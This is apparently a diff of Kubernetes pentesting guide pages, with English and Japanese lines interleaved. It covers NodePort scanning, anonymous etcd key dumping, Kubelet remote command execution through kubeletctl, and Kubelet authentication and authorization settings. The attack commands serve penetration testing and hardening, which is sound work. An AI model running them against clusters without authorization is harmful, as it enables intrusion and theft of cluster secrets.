When a port is exposed in all the nodes via a **NodePort**, the same port is opened in all the nodes proxifying the traffic into the declared **Service**. By default this port will be in in the **range 30000-32767**. So new unchecked services might be accessible through those ports.
**NodePort**を介してすべてのノードでポートが公開されると、同じポートがすべてのノードで開かれ、トラフィックが宣言された**Service**にプロキシされます。デフォルトでは、このポートは**範囲30000-32767**にあります。したがって、新しい未チェックのサービスはこれらのポートを介してアクセス可能かもしれません。
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
## 脆弱な誤設定
## Vulnerable Misconfigurations
### Kube-apiserver 匿名アクセス
### Kube-apiserver Anonymous Access
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
匿名アクセスは**kube-apiserver API エンドポイントには許可されていません**。しかし、いくつかのエンドポイントを確認することができます：
![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
### **Checking for ETCD Anonymous Access**
### **ETCD 匿名アクセスの確認**
The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check.
If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:
ETCDはクラスターの秘密、設定ファイル、その他の**機密データ**を保存します。**デフォルト**では、ETCDは**匿名で**アクセスできませんが、確認することは常に良いことです。
ETCDに匿名でアクセスできる場合は、**[**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md)**ツールを使用する必要があります。次のコマンドは、保存されているすべてのキーを取得します：
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**
The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explains that by **default anonymous acce**ss to the service is **allowed:**
[**Kubeletのドキュメント**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)では、**デフォルトで匿名アクセス**がサービスに**許可されている**ことが説明されています：
> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated`
> Kubeletサーバーへの匿名リクエストを有効にします。他の認証方法によって拒否されないリクエストは、匿名リクエストとして扱われます。匿名リクエストのユーザー名は`system:anonymous`で、グループ名は`system:unauthenticated`です。
To understand better how the **authentication and authorization of the Kubelet API works** check this page:
**Kubelet APIの認証と認可の仕組み**をよりよく理解するには、このページを確認してください：
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
The **Kubelet** service **API is not documented**, but the source code can be found here and finding the exposed endpoints is as easy as **running**:
**Kubelet**サービスの**APIは文書化されていません**が、ソースコードはここにあり、公開されているエンドポイントを見つけるのは**実行する**のと同じくらい簡単です：
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -169,39 +148,34 @@ Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
すべて興味深いです。
All of them sound interesting.
You can use the [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool to interact with Kubelets and their endpoints.
[**Kubeletctl**](https://github.com/cyberark/kubeletctl) ツールを使用して、Kubelet とそのエンドポイントと対話できます。
#### /pods
This endpoint list pods and their containers:
このエンドポイントはポッドとそのコンテナをリストします：
```bash
kubeletctl pods
```
#### /exec
This endpoint allows to execute code inside any container very easily:
このエンドポイントは、任意のコンテナ内でコードを非常に簡単に実行することを可能にします：
```bash
kubeletctl exec [command]
```
> [!NOTE]
> To avoid this attack the _**kubelet**_ service should be run with `--anonymous-auth false` and the service should be segregated at the network level.
> この攻撃を回避するために、_**kubelet**_ サービスは `--anonymous-auth false` で実行され、サービスはネットワークレベルで分離されるべきです。
### **Checking Kubelet (Read Only Port) Information Exposure**
### **Kubelet (読み取り専用ポート) 情報漏洩の確認**
When a **kubelet read-only port** is exposed, it becomes possible for information to be retrieved from the API by unauthorized parties. The exposure of this port may lead to the disclosure of various **cluster configuration elements**. Although the information, including **pod names, locations of internal files, and other configurations**, may not be critical, its exposure still poses a security risk and should be avoided.
**kubelet 読み取り専用ポート**が公開されると、無許可の第三者がAPIから情報を取得できるようになります。このポートの公開は、さまざまな**クラスター構成要素**の開示につながる可能性があります。**ポッド名、内部ファイルの場所、その他の構成**を含む情報は重要ではないかもしれませんが、その公開は依然としてセキュリティリスクをもたらし、回避すべきです。
An example of how this vulnerability can be exploited involves a remote attacker accessing a specific URL. By navigating to `http://<external-IP>:10255/pods`, the attacker can potentially retrieve sensitive information from the kubelet:
この脆弱性がどのように悪用されるかの例として、リモート攻撃者が特定のURLにアクセスすることが挙げられます。`http://<external-IP>:10255/pods` に移動することで、攻撃者はkubeletから機密情報を取得する可能性があります：
![https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
## References
## 参考文献
{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2
@@ -212,7 +186,3 @@ https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

142
src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
View File

@@ -4,110 +4,96 @@
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**ドキュメントから:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **username of `system:anonymous`** and a **group of `system:unauthenticated`**.
デフォルトでは、他の設定された認証方法によって拒否されないkubeletのHTTPSエンドポイントへのリクエストは、匿名リクエストとして扱われ、**ユーザー名は `system:anonymous`**、**グループは `system:unauthenticated`**が与えられます。
The **3** authentication **methods** are:
- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:**
**3**つの認証**方法**は次のとおりです：
- **匿名**（デフォルト）：パラメータ**`--anonymous-auth=true`**または設定を使用します：
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: This will **enable** the kubectl **API bearer tokens** as authorization (any valid token will be valid). Allow it with:
- ensure the `authentication.k8s.io/v1beta1` API group is enabled in the API server
- start the kubelet with the **`--authentication-token-webhook`** and **`--kubeconfig`** flags or use the following setting:
```json
"authentication": {
"webhook": {
"cacheTTL": "2m0s",
"enabled": true
},
```
> [!NOTE]
> The kubelet calls the **`TokenReview` API** on the configured API server to **determine user information** from bearer tokens
- **X509 client certificates:** Allow to authenticate via X509 client certs
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
```json
"authentication": {
"x509": {
"clientCAFile": "/etc/kubernetes/pki/ca.crt"
}
}
```
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Any request that is successfully authenticated (including an anonymous request) **is then authorized**. The **default** authorization mode is **`AlwaysAllow`**, which **allows all requests**.
However, the other possible value is **`webhook`** (which is what you will be **mostly finding out there**). This mode will **check the permissions of the authenticated user** to allow or disallow an action.
> [!WARNING]
> Note that even if the **anonymous authentication is enabled** the **anonymous access** might **not have any permissions** to perform any action.
The authorization via webhook can be configured using the **param `--authorization-mode=Webhook`** or via the config file with:
```json
"authorization": {
"mode": "Webhook",
"webhook": {
"cacheAuthorizedTTL": "5m0s",
"cacheUnauthorizedTTL": "30s"
}
"anonymous": {
"enabled": true
},
```
- **Webhook**: これにより、kubectl **APIベアラートークン**が認証として**有効**になります（有効なトークンはすべて有効です）。次のように許可します：
- APIサーバーで`authentication.k8s.io/v1beta1` APIグループが有効になっていることを確認します
- **`--authentication-token-webhook`**および**`--kubeconfig`**フラグを使用してkubeletを起動するか、次の設定を使用します：
```json
"authentication": {
"webhook": {
"cacheTTL": "2m0s",
"enabled": true
},
```
> [!NOTE]
> kubeletは、設定されたAPIサーバーで**`TokenReview` API**を呼び出して**ユーザー情報を特定**します。
The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.**
- **X509クライアント証明書:** X509クライアント証明書を介して認証を許可します
- 詳細については、[apiserver認証ドキュメント](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs)を参照してください
- `--client-ca-file`フラグを使用してkubeletを起動し、クライアント証明書を検証するためのCAバンドルを提供します。または、設定を使用して:
```json
"authentication": {
"x509": {
"clientCAFile": "/etc/kubernetes/pki/ca.crt"
}
}
```
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:
成功裏に認証された（匿名リクエストを含む）**すべてのリクエストはその後承認されます**。**デフォルト**の承認モードは**`AlwaysAllow`**で、**すべてのリクエストを許可します**。
- **Action**
しかし、他の可能な値は**`webhook`**です（これは**主に見つかるものです**）。このモードは、アクションを許可または拒否するために**認証されたユーザーの権限を確認します**。
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
> [!WARNING]
> **匿名認証が有効になっている**場合でも、**匿名アクセス**には**アクションを実行するための権限がない可能性があります**。
- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
Webhookを介した承認は、**パラメータ `--authorization-mode=Webhook`**を使用するか、設定ファイルで次のように構成できます：
```json
"authorization": {
"mode": "Webhook",
"webhook": {
"cacheAuthorizedTTL": "5m0s",
"cacheUnauthorizedTTL": "30s"
}
},
```
kubeletは、各リクエストが**認可されているかどうかを**判断するために、構成されたAPIサーバー上の**`SubjectAccessReview`** APIを呼び出します。
| Kubelet API | resource | subresource |
kubeletは、apiserverと同じ[リクエスト属性](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes)アプローチを使用してAPIリクエストを認可します：
- **アクション**
| HTTP動詞 | リクエスト動詞 |
| -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD| get（個々のリソース用）、list（コレクション用、完全なオブジェクトコンテンツを含む）、watch（個々のリソースまたはリソースのコレクションを監視するため） |
| PUT | update |
| PATCH | patch |
| DELETE | delete（個々のリソース用）、deletecollection（コレクション用） |
- Kubelet APIと通信する**リソース**は**常に** **nodes**であり、**サブリソース**は受信リクエストのパスから**決定されます**：
| Kubelet API | リソース | サブリソース |
| ------------ | -------- | ----------- |
| /stats/\* | nodes | stats |
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| _all others_ | nodes | proxy |
For example, the following request tried to access the pods info of kubelet without permission:
| _その他すべて_ | nodes | proxy |
例えば、以下のリクエストは、権限なしでkubeletのポッド情報にアクセスしようとしました：
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- We got a **Forbidden**, so the request **passed the Authentication check**. If not, we would have got just an `Unauthorised` message.
- We can see the **username** (in this case from the token)
- Check how the **resource** was **nodes** and the **subresource** **proxy** (which makes sense with the previous information)
- **Forbidden**を受け取ったので、リクエストは**認証チェックを通過しました**。そうでなければ、単に`Unauthorised`メッセージが表示されていたでしょう。
- **ユーザー名**（この場合はトークンから）を見ることができます。
- **リソース**が**ノード**で、**サブリソース**が**プロキシ**であることを確認します（これは前の情報と一致します）。
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
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